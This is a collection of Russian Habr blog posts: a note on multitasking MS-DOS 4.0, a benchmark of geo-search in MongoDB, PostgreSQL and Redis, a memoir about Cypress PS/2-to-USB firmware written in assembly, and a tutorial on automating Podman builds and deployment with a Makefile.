> Multitasking MS-DOS 4.0 was a little known and separate development of DOS done in parallel with the development of DOS 3.x in 1985. It should not be confused with the later retail DOS 4.0 that was released in 1988. DOS 4.0 supported preemptive multitasking, shared memory, semaphores, advanced memory management, a session manager, imports, exports and a new executable format. Many of the ideas and features introduced here found their way into OS/2. Unfortunately DOS 4.0 was limited by the real-mode 8086 environment and the 640KB address space. Also programs which were not well-behaved or relied upon undocumented DOS functions would not run properly under DOS 4.0, particularly TSR programs.
>
>
И ссылка на [блог разработчика](https://blogs.msdn.com/b/larryosterman/archive/2009/08/26/24-years-ago-today-1985.aspx) этой версии Larry Osterman, где мы можем узнать совершенно удивительные вещи:
> MS-DOS 4.0 was unique because it was developed “on spec” – IBM didn’t see a need for a multitasking version MS-DOS and didn’t have a new hardware offering on which to attach the product. But IBM did have the PC/AT which was an 80286 based processor and it didn’t have an OS that took advantage of that hardware. So IBM and Microsoft started negotiations to take the MS-DOS 4.0 code base and turn it into what eventually turned into OS/2. I ended up not working on the OS/2 effort, instead I worked on finishing up MS-DOS 4.0 for the OEM partners who had licensed MS-DOS 4.0.
>
>
Выходит все же эта версия не пропала зря, это не только предок OS/2 а буквально ее личинка, многие технологии которые были использованы тут разделены с Windows того времени и перешли прямиком в OS/2. Однако на всех исторических сайтах история OS/2 начинается в 1987 и выпуска OS/2 SDK, а это — переходное звено которое всеми забыто и даже не упоминается.
**PS:**
```
$ file append.exe
append.exe: MS-DOS executable, NE for OS/2 1.x
``` | https://habr.com/ru/post/207848/ | null | ru | null |
# Как найти ближайшее кафе, достопримечательность, свободное такси глазами программиста
Сервисы, решающие какие-либо задачи в контексте нашего местоположения достаточно прочно вошли в нашу жизнь. Большинство смартфонов может при наличии доступа в интернет вызвать нам такси, рассчитать, через сколько приедет автобус, проложить маршрут с учетом пробок и различных предпочтений пользователя или показать друзей поблизости. Задачки вроде поиска ближайших кафе или достопримечательностей стали для них тривиальны и обычно могут быть решены вообще без доступа ко всемирной паутине. В данной статье я хочу рассмотреть некоторые инструменты для решения подобных задач и сравнить их производительность между собой.
#### Постановка задачи
Необходимо выбрать средства для разработки сервиса, в который пользователи периодически загружают свое местоположение, а другие пользователи ищут своих «соседей». Примерами сервисов, решающих подобные задачи могут быть сервисы заказа такси, социальные сети и игры вроде [Ingress](https://www.ingress.com).
#### Способ решения задачи
Некоторое теоретическое введение есть в [статье](https://habrahabr.ru/post/228023/), более подробно — [в википедии](https://en.wikipedia.org/wiki/Nearest_neighbor_search). Далее же будут рассмотрены сугубо практические вопросы.
Для решения задачи будут реализованы классы-адаптеры для нескольких выбранных сервисов. Интерфейс данных адаптеров представлен на листинге:
```
from abc import ABCMeta, abstractmethod
class AbstractStorage(object):
__metaclass__ = ABCMeta
@abstractmethod
def prepare_storage_for_experiment(self, test_data):
pass
@abstractmethod
def experiment_search(self, test_data):
pass
@abstractmethod
def experiment_update(self, test_data):
pass
@abstractmethod
def clear_storage(self):
pass
```
Измерение времени выполняется при помощи [Profilehooks](http://mg.pov.lt/profilehooks/).
#### Принятые упрощения
1. Здесь и далее весь код написан на языке Python; со всеми описанными ниже инструментами можно работать из других распространенных языков программирования, если не указано иное. Возможность ускорить работу системы, переписав все на более быстром языке программирования вроде c/c++ в рамках данной статьи рассматриваться не будет, хотя вполне может быть применена в боевых условиях, если доказана целесообразность такого решения.
2. В приведенной системе все запросы обрабатываются последовательно, что эквивалентно наличию очереди запросов перед рассматриваемым модулем и работе модуля в один поток; при использовании системы в бою разрабатываемый модуль скорее всего будет обрабатывать запросы в несколько потоков.
3. Все тесты запускаются на ноутбуке со следующим набором железа: 8 Gb RAM, Intel Core i5 2,6 GHz, SSD. Конфигурация серверного железа с большой вероятностью будет другой.
4. Все используемы инструменты будут использоваться с конфигурацией по умолчанию за исключением одинакового объема выделенной оперативной памяти(там, где этот момент поддается конфигурации стандартными средствами). Конфигурирование выбранных инструментов в рамках данной статьи рассмотрено не будет.
#### Реализация
Строка(документ или другое — в зависимости от принятой терминологии) состоит из id и пары координат во внутреннем представлении системы. По каждому из столбцов построен индекс в случае, если система позволяет это делать. Во всех реализациях будет представлен код, ответственный за поиск и обновление. Ссылка на полный код проекта на github будет дана в конце статьи.
##### Реализация 1. MongoDB v3.2.6
*[Ссылка на документацию по геопоиску](https://docs.mongodb.com/manual/reference/operator/query/near/#op._S_near)*
Код, ответственный за тестирование скорости поиска и обновлений:
```
@timecall(immediate=True)
def experiment_search(self, test_data):
def find_point(point):
cursor = self.collection.find(
{
MongoStorage.key_position:
{
'$near':
{
'$geometry':
{
'type': "Point",
'coordinates': [point['lng'], point['lat']]
},
'$maxDistance': 10000
}
}
}
)
return cursor[0] if cursor.count() > 0 else None
@timecall(immediate=True)
def experiment_update(self, test_data):
for t in test_data:
self.collection.update_one(
{
MongoStorage.key_id: t["id"]
},
{
'$set': {
MongoStorage.key_position: {
'type': "Point",
'coordinates': [t['position']['lng'], t['position']['lat']]
}
}
}
)
```
Explain для поискового запроса:
```
{
"queryPlanner" : {
"plannerVersion" : 1,
"namespace" : "taxi_geo_experiment_test_db.taxi_driver_collection",
"indexFilterSet" : false,
"parsedQuery" : {
"key_position" : {
"$near" : {
"$geometry" : {
"type" : "Point",
"coordinates" : [
37.3816328351611,
55.01604115262
]
},
"$maxDistance" : 10000
}
}
},
"winningPlan" : {
"stage" : "GEO_NEAR_2DSPHERE",
"keyPattern" : {
"key_position" : "2dsphere"
},
"indexName" : "key_position_2dsphere"
},
"rejectedPlans" : [ ]
},
"serverInfo" : {
"host" : "host",
"port" : 27017,
"version" : "3.2.6",
"gitVersion" : "05552b562c7a0b3143a729aaa0838e558dc49b25"
},
"ok" : 1
}
```
Видим, что используется геоиндекс.
##### Реализация 2.1. PostgreSQL v9.5.2 с использованием ST\_DWithin
*[Ссылка на документацию (postgis)](http://postgis.net/docs/ST_DWithin.html)*
Код, ответственный за тестирование скорости поиска и обновлений:
```
@timecall(immediate=True)
def experiment_search(self, test_data):
cursor = self.db_connect.cursor()
for item in test_data:
request = "SELECT * FROM {table_name} " \
"WHERE ST_DWithin({column_geo},ST_MakePoint({lat},{lng}), 10000)".format(
table_name=PostgreSQLStorage.table_name,
column_geo=PostgreSQLStorage.column_position,
lat=item["lat"],
lng=item["lng"])
cursor.execute(request)
search_result = cursor.fetchall()
@timecall(immediate=True)
def experiment_update(self, test_data):
cursor = self.db_connect.cursor()
for item in test_data:
request = "UPDATE {table_name} set {update_column_name}=ST_MakePoint({lat},{lng}) " \
"where {id_column_name}={id}".format(
table_name=PostgreSQLStorage.table_name,
update_column_name=PostgreSQLStorage.column_position,
id_column_name=PostgreSQLStorage.column_id,
lat=item["position"]["lat"],
lng=item["position"]["lng"],
id=item["id"]
)
cursor.execute(request)
self.db_connect.commit()
```
Explain для поискового запроса:
```
Index Scan using geo_index on taxi_drivers (cost=0.14..10.51 rows=1 width=36)
Index Cond: (driver_position && '0101000020E6100000C8EA77DD72C44B404C0305B698B04240'::geography)
Filter: (('0101000020E6100000C8EA77DD72C44B404C0305B698B04240'::geography && _st_expand(driver_position, '10000'::double precision)) AND _st_dwithin(driver_position, '0101000020E6100000C8EA77DD72C44B404C0305B698B04240'::geography, '10000'::double precision, true))
```
Так же видим использование геоиндекса.
##### Реализация 2.2. PostgreSQL v9.5.2 с использованием ST\_Distance
*[Ссылка на документацию (postgis)](http://postgis.net/docs/ST_DWithin.html)*
Код, ответственный за тестирование скорости поиска:
```
@timecall(immediate=True)
def experiment_search(self, test_data):
cursor = self.db_connect.cursor()
for item in test_data:
request = "SELECT * FROM {table_name} " \
"WHERE ST_Distance({column_geo},ST_MakePoint({lat},{lng})) < 10000".format(
table_name=PostgreSQLStorage.table_name,
column_geo=PostgreSQLStorage.column_position,
lat=item["lat"],
lng=item["lng"])
cursor.execute(request)
search_result = cursor.fetchall()
```
Код, ответственный за тестирование скорости обновления, не отличается от реализации, описанной в предыдущем пункте.
Explain для поискового запроса:
```
Seq Scan on taxi_drivers (cost=0.00..8241.00 rows=10000 width=60)
Filter: (_st_distance(driver_position, '0101000020E61000003B2CDE5519AA4B402B1697185FED4240'::geography, '0'::double precision, true) < '10000'::double precision)
```
В данном случае индекс не используется, будут просмотрены все значения в таблице, что значительно медленнее.
[Подробнее про EXPLAIN в PostgreSQL](https://habrahabr.ru/post/203320/).
##### Реализация 3. Redis v3.2.0
*[Ссылка на документацию по геофункциям](http://redis.io/commands#geo)*
Код, ответственный за тестирование скорости поиска и обновлений:
```
@timecall(immediate=True)
def experiment_search(self, test_data):
i = 0
for item in test_data:
command = "GEORADIUS {key} {lng} {lat} {dist_km} km WITHCOORD WITHDIST".format(
key=RedisStorage.KEY_DRIVERS,
lat=item["lat"],
lng=item["lng"],
dist_km=10
)
result = self._redis.execute_command(command)
@timecall(immediate=True)
def experiment_update(self, test_data):
for item in test_data:
command_rm = "ZREM {key} \"{id}\"".format(
key=RedisStorage.KEY_DRIVERS,
id=item["id"]
)
self._redis.execute_command(command_rm)
command_add = "GEOADD {key} {lng} {lat} \"{id}\"".format(
key=RedisStorage.KEY_DRIVERS,
lat=item["position"]["lat"],
lng=item["position"]["lng"],
id=item["id"]
)
self._redis.execute_command(command_add)
```
Аналога explain для redis нет, так как в подобной команде нет необходимости, redis не предназначен для сложных запросов, в которых подобный функционал может потребоваться.
Несложно заметить еще одну особенность — в redis нельзя удалить из ключа(ближайший аналог ключа в SQL — таблицы; ключ может содержать как простое значение, например, число, так и сложное — например, множество) один из геообъектов, для этого надо воспользоваться знаниями о внутреннем представлении: [команда ZREM](http://redis.io/commands/zrem) удаляет значение из множества.
#### Вывод
Тестирование проводилось на 30 000 объектов и таком же количестве запросов. При необходимости можно провести тестирование на других наборах значений, заменив соответствующие параметры в коде. Результаты тестирования представлены в таблице:
| Инструмент | Время на поиск | Время на обновление |
| --- | --- | --- |
| MongoDB | 320.415 | 14.275 |
| PostgreSQL(ST\_DWithin) | 114.878 | 8.908 |
| PostgreSQL(ST\_Distance) | 1829.920 | —
*(реализация и результат аналогичны PostgreSQL(ST\_DWithin))* |
| Redis | 1098.604 | 5.016 |
Все данные в таблице представлены в секундах, значение среднее по 5 тестам.
[Ссылка](https://github.com/artemyl/select_geo_db) на репозиторий проекта.
Если вы знаете другой инструмент для эффективного решения поставленной задачи — пишите в комментарии, с интересом рассмотрю.
**Update 1:** Добавлена реализация PostgreSQL с использованием ST\_Distance. Данная реализация не использует индекс, соответственно, поиск работает дольше. | https://habr.com/ru/post/301460/ | null | ru | null |
# Археология программиста
В прошедшую субботу решил провести «субботник» и наконец-то навести порядок на полках и в шкафах.
В старых коробках, среди всякого разного оборудования, разных плат, девелопер китов и пачек старых дисков обнаружил несколько интересных экземпляров устройств, просто настоящие артефакты древности. С этими артефактами связана целая история, которую и хотел бы рассказать.
Дело было так. В далеком-далеком году мы получили заказ на разработку прошивки для микросхемы Cypress CY7C63723. Это был такой PS/2-USB микроконтроллер. Задача: написать прошивку к этой микросхеме. Но был один нюанс. Микросхема предназначена для преобразования протокола из PS/2 в USB, а нужно было подключить два устройства PS/2, то есть нужно подключить PS/2 мышь и PS/2 клавиатуру с помощью одной такой микросхемы USB конвертера. Микросхема должна была бы устанавливаться на материнскую плату Jetway (если память не изменяет).
Точнее, дело было даже так: эта задача уже делалась каким-то разработчиком, но у него чего-то не получалось. Нам отдали его исходники и сказали, что нужно срочно починить и переделать, но чтоб работало. Кроме исходных текстов нашего неудачливого предшественника тогда мы получили вот это...
Это прототип конвертера Two-PS/2-to-USB, который и нужно было запрограммировать. На самом деле это только макет, микросхема потом устанавливалась прямо на материнскую плату, чтобы дать дополнительные мышь и клавиатуру. Предполагалось, что это будет материнская плата для двух пользователей одновременно, многопользовательский компьютер.
Эмулятор микросхемы Cypress CY7C63723! Такая маленькая микросхема и такой большой эмулятор. Такие вот технологии. Поскольку микросхема была одноразовая, с однократной прошивкой (OTP — One Time Programmable), то невозможно вот так просто взять и разработать прошивку. Нельзя сразу зашивать и пробовать — это слишком долго и расточительно. Поэтому, компания Cypress снабжала разработчиков вот такими странными устройствами — эмуляторами микросхемы. Скомпилировал программу, загрузил в эмулятор микросхемы, имитатор микросхемы через шлейф вставляется в панельку на плате будущего устройства — смотришь как работает. Вот сейчас не уверен, но кажется там даже внутрисхемный отладчик процессора был.
Вот такой нашелся универсальный программатор. К нему еще были пара десятков чистых чипов Cypress, но где уж они теперь?
Когда обнаружил эти железки в старых коробках появилось любопытство. Смогу ли я найти исходники тех программ? Как давно все это было?
Это сейчас все просто. У меня теперь каждый новый ноутбук имеет жесткий диск существенно больше, чем предыдущий. Получается, что покупаешь ноутбук и переписываешь на его большой диск весь старый маленький диск. Первый ноутбук имел 90 Гбайт, второй 320 Гбайт, а последний ноутбук 1 Тбайт. Опять же — сейчас есть «облака» и GIT. А тогда архивы хранились на CD дисках. Иногда записывали на всякий случай по нескольку дисков, чтоб наверняка.
Вот найти старые программы на старых дисках — вот это действительно сложная задача. Но — нашел! Датируется 2003 годом — это примерно 13 лет назад было. Ну и по случаю, мой совет дня: «Никогда не подписывайте диски фразой Current Versions».
Итак… Нас в команде на эту задачу было 2 человека, мы взялись со всем рвением, хотя не имели ни малейшего представления ни про USB, ни про микросхемы Cypress.
Чтобы описать суть происходящего, немного расскажу про микросхему CY7C63723. В этом микроконтроллере жили-были:
* 14-ти битный указатель на исполняемую команду PC (Program Counter);
* 8-ми битный аккумулятор, A;
* 8-ми битный индексный регистр, X;
* 8-ми указатель стека команд, PSP (Program Stack Pointer);
* 8-ми указатель стека данных, DSP (Data Stack Pointer);
И это почти все… ну конечно, разные способы адресации — это понятно. Писать нужно, естественно, на ассемблере. Конечно, внутри микроконтроллера еще есть всякая периферия, традиционная для микроконтроллеров: таймер, GPIO и прерывания от них, USB-функция и так далее.
Это я сейчас, рассматривая старую документацию на эту микросхему (нашел таки ее на дисках), вспоминаю этот проект и удивляюсь этому чуду. Чтобы вы в полной мере ощутили всю мощь микроконтроллера приведу фрагмент списка команд:
> NOP — 4 такта
>
> INC A — 4 такта
>
> INC X — 4 такта
>
> INC [EXPR] — 7 тактов
>
> INC [X+EXPR] — 8 тактов
>
> ADD A,EXPR — 4 такта
>
> ADD A,[EXPR] — 6 тактов
>
> ADD A,[X+EXPR] — 7 тактов
>
> …
>
>
Несмотря на тактовую частоту микроконтроллера в 12МГц, на деле он оказался совсем не быстрым — все мегагерцы съели такты-на-команду.
Самое интересно, что мы смогли довольно быстро разобраться, как оно должно работать, быстро все починили, прошили первые чипы, испытали, и клавиатура и мышь работают, светодиоды на клавиатуре CAPS, NUM, LOCK — работают. Ура, все хорошо, все довольны и счастливы!
Но — нет. Через неделю или две заказчик говорит, что не работает. Пытаемся выяснять — ничего толком понять нельзя. Между нами и конечным заказчиком есть посредник. То есть, нам заказывает немецкая компания, а им заказывает тайваньская компания. Электронные письма с Тайваня прочитать почти нельзя. Они написаны на «чинглише» — это когда человек думает на китайском языке, а пишет по английски — с трудом поддается расшифровке. В конце концов договорились, что они нам пришлют программу в которой не работает наш PS/2-USB конвертер. Они говорят, что во всех программах работает, а конкретно в этой программе — нет.
Ну ладно — пытаемся выкачать их тестовую программу. 2003-й год, у нас еще используется диал-ап модем, соединение все время рвется, программа очень большая выкачать никак не удается. С какой-то там N-ной попытки выкачиваем… (барабанная дробь) Doom2. Но что? Почему? Как так?
Оказывается все очень просто: нужно нажимая часто на клавиши клавиатуры идти, бежать и прыгать и одновременно мышью вращать и стрелять. А мы так НИКОГДА НЕ ДЕЛАЛИ. Мы то ведь пробовали как все нормальные люди: попробовали клавиши клавиатуры — символы в редакторе набираются, потом попробовали мышь — ездит. Вот бывает же…
Пришлось полностью пересмотреть программу микроконтроллера. Теперь уже при детальном анализе стало понятно, что при одновременно летящих символах из обоих PS/2 устройств обработать сигналы DATA и CLK на двух портах чрезвычайно трудно. Не буду приводить здесь осциллограммы сигналов, их легко можно найти в интернете, хотя бы вот здесь [marsohod.org/11-blog/56-ps2](https://marsohod.org/11-blog/56-ps2). Частота сигнала CLK в PS/2 может быть до 18КГц. Вроде бы очень низкая частота, но если посчитать, то получается совсем не весело. Соотношение частот PS/2 CLK и частоты процессора микроконтроллера: 12000000/18000=666 (о ужас). При средней длине команды 5 тактов получается, что между двумя фронтами PS/2 клока может исполниться не более 130 команд микроконтроллера. А у нас прерывания настроены на четыре сигнала двух портов PS/2: от DATA0, от CLK0, от DATA1, и от CLK1. Самый худший случай — когда фронты некоторых сигналов случайно совпадут — порты же асинхронные. Если подряд два прерывания от разных портов, то получится вообще на прерывание остается тактов по 60…
В общем, пришлось буквально учитывать длительность каждой команды. Приведу фрагмент ассемблерного кода обработчика прерывания, там на многих строках стоит сколько тактов уйдет на команду:
```
org 0d00h
snd_recv_tabl0:
jmp recv_startbit0
jmp recv_bit0
jmp recv_bit1
jmp recv_bit2
jmp recv_bit3
jmp recv_bit4
jmp recv_bit5
jmp recv_bit6
jmp recv_bit7
jmp recv_parity0
jmp recv_stop0
jmp send_startbit0
jmp send_bit0
jmp send_bit1
jmp send_bit2
jmp send_bit3
jmp send_bit4
jmp send_bit5
jmp send_bit6
jmp send_bit7
jmp send_parity0
jmp send_stop0
jmp send_stop1
rise1:
rise0:
pop a
reti
capture_a_isr:
;here we service interrupts from ps2 port 0
;we must make it as short as possible...
push a ;[5]
iord port0 ;[5]
iord port0 ;[5]
rrc ;[4]
jc rise0 ;[4]
mov a,[status0] ;[5]
asl ;[4]
jacc snd_recv_tabl0 ;[7+5] - 44 ticks
;-------------------------------------------------------------------------------
recv_startbit0_:
inc [status1]
mov a,PS2_WD_TIMEOUT
mov [ps2_wd_b],a
pop a
reti
recv_bit0_:
recv_bit1_:
recv_bit2_:
recv_bit3_:
recv_bit4_:
recv_bit5_:
recv_bit6_:
recv_bit7_:
iord port1
rrc
rrc ;now our strobed bit in flag C
mov a,[sh_in_lo_reg_p1]
rrc
mov [sh_in_lo_reg_p1],a
inc [status1]
pop a
reti
recv_parity0_:
inc [status1]
pop a
reti
recv_stop0_:
mov a,[flag_wait_fa_1]
cmp a,1
jz filter_fa1
mov a,[sh_in_lo_reg_p1] ;[5]
push x ;[5]
mov x,[fifo_head_p1] ;[5]
mov [x+fifo_p1],a ;[6] store our byte to fifo
inc x ;[4] increment fifo head
mov a,x ;[4]
pop x ;[4]
and a,00fh ;[4] fifo size is 16 byte?
mov [fifo_head_p1],a ;[5] save new fifo ptr for future
filter_fa1:
mov a,0 ;[4]
mov [status1],a ;[5]
mov [flag_wait_fa_1],a
mov [ps2_wd_b],a
pop a ;[4]
reti ;[8] - 63+44=107 ticks
nop
```
Конечно, из памяти уходят многие детали, многих подробностей я уже просто не помню. Знаю только, что глубоко переработанная программа заработала успешно даже в Doom2. Вот что подсчет тактов животворящий делает.
И знаете, что? Я даже сейчас смог откомпилировать эту свою старую программу, просто запустил BAT файл:
Интересно, что у этой истории было еще и продолжение. Коды PS/2 ведь конвертировались в HID коды (PS/2 протокол был сам по себе довольно сложный, смотри [marsohod.org/11-blog/57-ps2proto](https://marsohod.org/11-blog/57-ps2proto)). А когда заказчик из Юго-Восточной страны, то некоторые клавиши там не совсем такие как у нас.
Вот при археологических раскопках в нашем офисе нашел типичную клавиатуру тех времен — ее прислали нам для испытаний. Были и другие экзотические варианты, но не все сохранились. Помню была клавиатура с дополнительными клавишами катакана и хирагана — и что бы это значило? И заказчик требует сделать, чтоб они работали. А как они должны работать? Что должно происходить при их нажатии?
Делали так: брали два одинаковых компьютера и параллельно устанавливали на один ПК — английскую windows 2000, а на второй ПК — чистую японскую Windows 2000, все ОС брались из MSDN подписки. Два компьютера нужны, чтобы правильно отвечать на вопросы в диалогах при установке Windows — прочитать-то мы не можем и перевести так же не можем. Вот параллельная установка на двух ПК как-то спасала. Уже потом клавиатуру подключали к ПК с установленной японской Windows и нажимали эти спорные клавиши пытаясь понять, что должно происходить при их нажатии. Вот как-то так и решались проблемы. Как давно это было…
Ну и что получилось: в результате, разобрать на полках и привести их в порядок не удалось. Наоборот, разворошил все ящики и коробки в поисках иных ценных и интересных для археолога артефактов… Столько интересного нашлось… | https://habr.com/ru/post/314756/ | null | ru | null |
# Автоматизируем работу с контейнерами через Makefile: сборка, тестирование и развёртывание за один вызов make
Утилита make позволяет просто управлять контейнерами, объединив команды для сборки, тестирования и развёртывания в одном конфигурационном файле.
Разработчики многие годы используют утилиту make. При запуске утилита читает файл с описанием проекта (Makefile) и, интерпретируя его содержимое, предпринимает необходимые действия. Файл с описанием проекта представляет собой текстовый конфигурационный файл, где описаны зависимости и команды, которые необходимо выполнить. Он похож на Dockerfile или другой файл конфигурации контейнера: там тоже указаны команды, на основе которых формируются образы для развёртывания контейнеров.
В этой статье я расскажу о том, как управлять контейнерами, используя Makefile. Контейнерный конфигурационный файл описывает образ контейнера, а Makefile описывает процесс сборки проекта, тестирование и развёртывание, а также другие полезные команды.
Цели и структура Makefile
-------------------------
*Утилита make по умолчанию установлена в большинстве современных Linux-дистрибутивов, поэтому проблем с её использованием обычно не возникает. И чтобы начать её использовать, нужно создать файл с именем Makefile.*
Makefile состоит из набора целей (target), зависимостей (dependency) и команд (commands), необходимых для их выполнения:
```
target: [dependency [dependency [dependency ... [dependency]]]]
commands
commands
# commands
```
Цель — это некий желаемый результат, способ достижения которого описан в Makefile. Под целью подразумевают выполнение некого действия либо получение новой версии файла. А dependency — это некие «исходные данные», условия необходимые для достижения указанной цели. Зависимость может быть результатом выполнения другой цели, либо обычным файлом.
Команды вводят с использованием символа табуляции (пробелы не подойдут). Цель может не содержать команд, но при этом содержать зависимости.
*Сначала проверяются и выполняются все зависимости по порядку, в случае завершения какой-либо команды из зависимости с ненулевой ошибкой, выполнение команды прерывается. Далее выполняются все команды перечисленные в самой цели, в случае завершения какой-либо команды с ненулевой ошибкой, выполнение цели прерывается.*
Все команды выполняются в контексте текущей директории. Можно закомментировать команду поставив перед ней знак решётки (#).
Чтобы отправить цель на выполнение, нужно указать её название при вызове утилиты **make**:
```
# Выполнение цели "build_image"
$ make build_image
```
В этом вся прелесть Makefile. Вы можете создать набор целей для каждой задачи. В контексте управления контейнерами, это создание образа и его отправка в реестр, тестирование и развёртывание контейнера, а также обновление его сервиса.
Я проиллюстрирую использование Makefile на примере своего личного веб-сайта и покажу как просто можно автоматизировать выполнение перечисленных задач.
Сборка, тестирование и развёртывание
------------------------------------
Я создал простой веб-сайт с помощью [Hugo](https://gohugo.io/), генератора статических сайтов. Он позволяет получить статический HTML из файлов YAML. В качестве веб-сервера я использовал [Caddy](https://caddyserver.com/).
Теперь посмотрим, как Makefile упростит сборку и развёртывание этого проекта на проде.
Первой целью в Makefile будет **image\_build**:
```
image_build:
podman build --format docker -f Containerfile -t $(IMAGE_REF):$(HASH) .
```
Эта цель вызывает [Podman](https://podman.io/) для создания контейнера из его конфигурационного файла (Containerfile), включенного в проект. В приведённой выше команде есть несколько переменных. Переменные в Makefile можно использовать примерно так же, как в простых скриптовых языках программирования. В данном случае мне это нужно для создания «ссылки» на образ, который будет отправлен в удалённый реестр:
```
# Image values
REGISTRY := "us.gcr.io"
PROJECT := "my-project-name"
IMAGE := "some-image-name"
IMAGE_REF := $(REGISTRY)/$(PROJECT)/$(IMAGE)
# Git commit hash
HASH := $(shell git rev-parse --short HEAD)
```
Используя эти переменные, цель **image\_build** формирует идентификатор вида **us.gcr.io/my-project-name/my-image-name:abc1234.**
В конце, в качестве тега образа добавлен хэш соответствующей Git-ревизии.
В нашем случае образ будет помечен тегом **:latest**. Этот тег нам пригодится для очистки контейнера:
```
image_tag:
podman tag $(IMAGE_REF):$(HASH) $(IMAGE_REF):latest
```
Итак, теперь контейнер создан, и его необходимо проверить, чтобы убедиться, что он соответствует некоторым минимальным требованиям. Для моего личного веб-сайта важно ответить на два вопроса:
1. «Запускается ли веб-сервер?»
2. «Что он возвращает?»
Это можно было сделать, выполняя shell-команды внутри Makefile. Но мне было проще написать на Python скрипт, который запускает контейнер с помощью Podman, отправляет HTTP-запрос в контейнер, проверяет, получает ли он ответ, а затем очищает его. Механизм обработки исключений в Python (try, except, finally) идеально подходит для этой задачи. И реализовать эту логику на Python значительно проще, чем на shell:
```
#!/usr/bin/env python3
import time
import argparse
from subprocess import check_call, CalledProcessError
from urllib.request import urlopen, Request
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--image', action='store', required=True, help='image name')
args = parser.parse_args()
print(args.image)
try:
check_call("podman rm smk".split())
except CalledProcessError as err:
pass
check_call(
"podman run --rm --name=smk -p 8080:8080 -d {}".format(args.image).split()
)
time.sleep(5)
r = Request("http://localhost:8080", headers={'Host': 'chris.collins.is'})
try:
print(str(urlopen(r).read()))
finally:
check_call("podman kill smk".split())
```
Проверку можно усложнить. Например, во время процесса сборки можно потребовать, чтобы в ответе содержался хэш Git-ревизии. И тогда мы сможем проверить, содержится ли ответ заданный хэш.
Если с тестами всё хорошо, образ готов к развёртыванию. Я использую для размещения своего веб-сайта сервис [Google Cloud Run](https://cloud.google.com/run/docs): скармливаю ему образ, и он мгновенно выдаёт мне URL. Как и многие подобные сервисы, с ним можно общаться через интерфейс командной строки (CLI). С Cloud Run развёртывание сводится к отправке образов (созданных локально) в удалённый реестр контейнеров и к запуску процесса самого развёртывания с помощью инструмента командной строки **gcloud**.
Теперь создадим цель **push.** Я используюPodman (но можно вместо него использовать Skopeo или тот же Docker).
```
push:
podman push --remove-signatures $(IMAGE_REF):$(HASH)
podman push --remove-signatures $(IMAGE_REF):latest
```
После того, как образ будет отправлен, используйте команду **gcloud run deploy**, чтобы развернуть новейшую версию образа в проекте и «оживить» его.
Давайте снова создадим цель в Makefile. В этом файле я могу создать переменные для аргументов **--platform** и **--region**, чтобы мне не нужно было каждый раз запоминать их. Иначе мне пришлось бы вводить их из головы каждый раз, когда я развёртываю новый образ. А я так редко пишу для своего личного блога, что нет никаких шансов, что я запомню эти переменные.
```
rollout:
gcloud run deploy $(PROJECT) --image $(IMAGE_REF):$(HASH) --platform $(PLATFORM) --region $(REGION)
```
Дополнительные цели
-------------------
### Локальный запуск
При тестировании CSS или других изменений кода мне хочется проверять работу проекта локально, без развёртывания на удалённом сервере. Для этого в мой Makefile я добавлю цель **run\_local.** Она выбирает контейнер в соответствии с моим текущим коммитом и открывает в браузере URL-адрес страницы с локального веб-сервера.
*В традиционных реализациях, у программы make нет надежного способа узнать, чем именно является цель. Ведь она может быть как именем действия, так и именем файла. Утилита make просто ищет на диске файл с именем, которое указано в качестве цели. Если такой файл существует, то цель считается именем файла.*
*Поэтому приходится явно объявлять цели абстрактными (то есть действиями). Для этого достаточно добавить ключевое слово .PHONY.*
Создадим абстрактную цель **run\_local:**
```
.PHONY: run_local
run_local:
podman stop mansmk ; podman rm mansmk ; podman run --name=mansmk --rm -p $(HOST_ADDR):$(HOST_PORT):$(TARGET_PORT) -d $(IMAGE_REF):$(HASH) && $(BROWSER) $(HOST_URL):$(HOST_PORT)
```
Я также использую переменную для имени браузера, поэтому при желании могу тестировать на разных браузерах. Когда я запускаю **make run\_local**, по умолчанию сайт открывается в Firefox. Чтобы протестировать то же самое в Google Chrome, я должен модифицировать вызов **make run\_local,** добавив **BROWSER = 'google-chrome'**.
Очистка старых контейнеров и образов
При работе с контейнерами очистка старых образов — неприятная рутинная работа, особенно при частых итерациях. Поэтому добавим в Makefile цели для выполнения этих задач. Если контейнер не существует, Podman или Docker вернутся из процесса очистки с кодом 125. Но к сожалению, make ожидает, что каждая команда вернёт 0 (если всё ОК) или прекратит работу (если что-то не так). Поэтому придётся написать на **bash** вот такую обработку:
```
#!/usr/bin/env bash
ID="${@}"
podman stop ${ID} 2>/dev/null
if [[ $? == 125 ]]
then
# No such container
exit 0
elif [[ $? == 0 ]]
then
podman rm ${ID} 2>/dev/null
else
exit $?
fi
```
Для очистки образов требуется реализовать более сложную логику, но всё это можно сделать в Makefile. Чтобы сделать это легко, я добавлю метку (через Containerfile) к образу (на этапе его создания). Это позволяет легко найти все образы с заданными метками. Самые последние из них можно определить по тегу **:latest**. И теперь все образы, кроме самых последних (с тегом: latest), могут быть удалены:
```
clean_images:
$(eval LATEST_IMAGES := $(shell podman images --filter "label=my-project.purpose=app-image" --no-trunc | awk '/latest/ {print $$3}'))
podman images --filter "label=my-project.purpose=app-image" --no-trunc --quiet | grep -v $(LATEST_IMAGES) | xargs --no-run-if-empty --max-lines=1 podman image rm
```
Связанные одной целью
---------------------
На данный момент мой Makefile включает команды для создания и маркировки образов, тестирования, отправки образов, развёртывания новых версий, очистки образов и запуска локальной версии. Выполнять каждую из них с помощью **make image\_build && make image\_tag && make test** **и так далее** значительно проще, чем выполнение каждой из команд, находящихся внутри этих вызовов. Но всё можно упростить ещё больше.
Я хочу, чтобы make в моём проекте по умолчанию делала всё — от создания образа до тестирования, развёртывания и очистки:
```
.PHONY: all
all: build test deploy clean
.PHONY: build image_build image_tag
build: image_build image_tag
.PHONY: deploy push rollout
deploy: push rollout
.PHONY: clean clean_containers clean_images
clean: clean_containers clean_images
```
Makefile может запускать сразу несколько целей. Сгруппируем цели **image\_build** и **image\_tag** внутри одной цели **build**. Теперь, чтобы запустить их, нужно просто вызвать **make build**. Более того, цели **build, test, deploy** и **clean** ядополнительно сгруппирую в цель **all**, что позволит мне запускать их все (в указанной последовательности) за один вызов:
```
$ make all
```
или ещё проще:
```
$ make
```
Не только контейнеры
--------------------
C помощью Makefile можно объединить все команды, необходимые для сборки, тестирования и развёртывания проекта. Так можно упростить и автоматизировать огромное количество задач.
Но Makefile можно использовать и для задач, связанных с разработкой: запуск модульных тестов, компиляция двоичных файлов и формирование контрольных сумм.
Жаль, Makefile не может писать код за нас (*подмигивает*).
---
